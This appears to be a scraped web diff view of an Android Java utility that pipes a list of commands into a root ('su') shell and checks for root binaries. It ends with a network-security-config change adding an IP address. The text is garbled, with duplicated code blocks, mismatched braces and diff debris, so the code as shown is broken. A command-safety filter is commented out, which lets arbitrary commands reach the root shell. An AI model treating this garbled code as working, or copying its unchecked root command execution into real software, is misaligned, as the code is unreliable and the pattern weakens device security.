return cmd.matches("^cd .+ && (tar|zip|cp).+");
|
||||
}
|
||||
|
||||
try (OutputStream os = process.getOutputStream()) {
|
||||
for (String cmd : cmds) {
|
||||
public static List<String> execRootCmds(List<String> cmds) {
|
||||
List<String> results = new ArrayList<>();
|
||||
Process process = null;
|
||||
try {
|
||||
// 初始化 Shell 环境
|
||||
process = hasBin("su") ? Runtime.getRuntime().exec("su") : Runtime.getRuntime().exec("sh");
|
||||
|
||||
// 启动读取线程
|
||||
Process stdProcess = process;
|
||||
Thread stdThread = new Thread(() -> {
|
||||
try (BufferedReader stdReader = new BufferedReader(new InputStreamReader(stdProcess.getInputStream()))) {
|
||||
List<String> localResults = new ArrayList<>();
|
||||
String line;
|
||||
while ((line = stdReader.readLine()) != null) {
|
||||
localResults.add(line);
|
||||
Log.d("ShellUtils", "Stdout: " + line);
|
||||
}
|
||||
synchronized (results) {
|
||||
results.addAll(localResults);
|
||||
}
|
||||
} catch (IOException ioException) {
|
||||
Log.e("ShellUtils", "Error reading stdout", ioException);
|
||||
}
|
||||
});
|
||||
|
||||
Process finalProcess = process;
|
||||
Thread errThread = new Thread(() -> {
|
||||
try (BufferedReader errReader = new BufferedReader(new InputStreamReader(finalProcess.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = errReader.readLine()) != null) {
|
||||
Log.e("ShellUtils", "Stderr: " + line);
|
||||
}
|
||||
} catch (IOException ioException) {
|
||||
Log.e("ShellUtils", "Error reading stderr", ioException);
|
||||
}
|
||||
});
|
||||
|
||||
// 启动子线程
|
||||
stdThread.start();
|
||||
errThread.start();
|
||||
|
||||
try (OutputStream os = process.getOutputStream()) {
|
||||
for (String cmd : cmds) {
|
||||
// if (!isCommandSafe(cmd)) {
|
||||
// Log.w("ShellUtils", "Skipping unsafe command: " + cmd);
|
||||
// continue;
|
||||
// }
|
||||
os.write((cmd + "\n").getBytes());
|
||||
Log.d("ShellUtils", "Executing command: " + cmd);
|
||||
}
|
||||
os.write("exit\n".getBytes());
|
||||
os.flush();
|
||||
}
|
||||
|
||||
try {
|
||||
// 执行命令、等待解决
|
||||
process.waitFor();
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt(); // 恢复中断
|
||||
Log.e("ShellUtils", "Error executing commands", e);
|
||||
}
|
||||
|
||||
|
||||
// 等待子线程完成
|
||||
stdThread.join();
|
||||
errThread.join();
|
||||
|
||||
} catch (InterruptedIOException e) {
|
||||
Log.e("ShellUtils", "Error reading stdout: Interrupted", e);
|
||||
Thread.currentThread().interrupt(); // 恢复线程的中断状态
|
||||
} catch (Exception e) {
|
||||
Log.e("ShellUtils", "Error executing commands", e);
|
||||
} finally {
|
||||
if (process != null) {
|
||||
process.destroy();
|
||||
}
|
||||
os.write((cmd + "\n").getBytes());
|
||||
Log.d("ShellUtils", "Executing command: " + cmd);
|
||||
}
|
||||
return results;
|
||||
os.write("exit\n".getBytes());
|
||||
os.flush();
|
||||
}
|
||||
|
||||
try {
|
||||
// 执行命令、等待解决
|
||||
process.waitFor();
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt(); // 恢复中断
|
||||
Log.e("ShellUtils", "Error executing commands", e);
|
||||
}
|
||||
|
||||
// 等待子线程完成
|
||||
stdThread.join();
|
||||
errThread.join();
|
||||
|
||||
} catch (InterruptedIOException e) {
|
||||
Log.e("ShellUtils", "Error reading stdout: Interrupted", e);
|
||||
Thread.currentThread().interrupt(); // 恢复线程的中断状态
|
||||
} catch (Exception e) {
|
||||
Log.e("ShellUtils", "Error executing commands", e);
|
||||
} finally {
|
||||
if (process != null) {
|
||||
process.destroy();
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
public static boolean hasRootAccess() {
|
||||
// 记录是否出现安全异常
|
||||
boolean hasSecurityError = false;
|
||||
|
||||
// 检查二进制文件
|
||||
String[] binariesToCheck = {"su", "xu", "vu"};
|
||||
for (String bin : binariesToCheck) {
|
||||
try {
|
||||
if (hasBin(bin)) {
|
||||
return true;
|
||||
}
|
||||
} catch (SecurityException e) {
|
||||
hasSecurityError = true;
|
||||
Log.e("ShellUtils", "Security exception while checking: " + bin, e);
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean hasRootAccess() {
|
||||
// 记录是否出现安全异常
|
||||
boolean hasSecurityError = false;
|
||||
|
||||
// 检查二进制文件
|
||||
String[] binariesToCheck = {"su", "xu", "vu"};
|
||||
for (String bin : binariesToCheck) {
|
||||
try {
|
||||
if (hasBin(bin)) {
|
||||
return true;
|
||||
}
|
||||
} catch (SecurityException e) {
|
||||
hasSecurityError = true;
|
||||
Log.e("ShellUtils", "Security exception while checking: " + bin, e);
|
||||
}
|
||||
}
|
||||
|
||||
// 判断如果发生安全异常则反馈问题
|
||||
if (hasSecurityError) {
|
||||
Log.w("ShellUtils", "Potential security error detected while checking root access.");
|
||||
}
|
||||
|
||||
// 没有找到合法的二进制文件,则认为无root权限
|
||||
return false;
|
||||
// 判断如果发生安全异常则反馈问题
|
||||
if (hasSecurityError) {
|
||||
Log.w("ShellUtils", "Potential security error detected while checking root access.");
|
||||
}
|
||||
|
||||
// 没有找到合法的二进制文件,则认为无root权限
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -12,5 +12,6 @@
|
|||
<domain includeSubdomains="true">127.0.0.1</domain>
|
||||
<domain includeSubdomains="true">8.217.137.25</domain>
|
||||
<domain includeSubdomains="true">47.238.96.231</domain>
|
||||
<domain includeSubdomains="true">192.168.30.80</domain>
|
||||
</domain-config>
|
||||
</network-security-config>
|
||||
|
|
Loading…
Reference in New Issue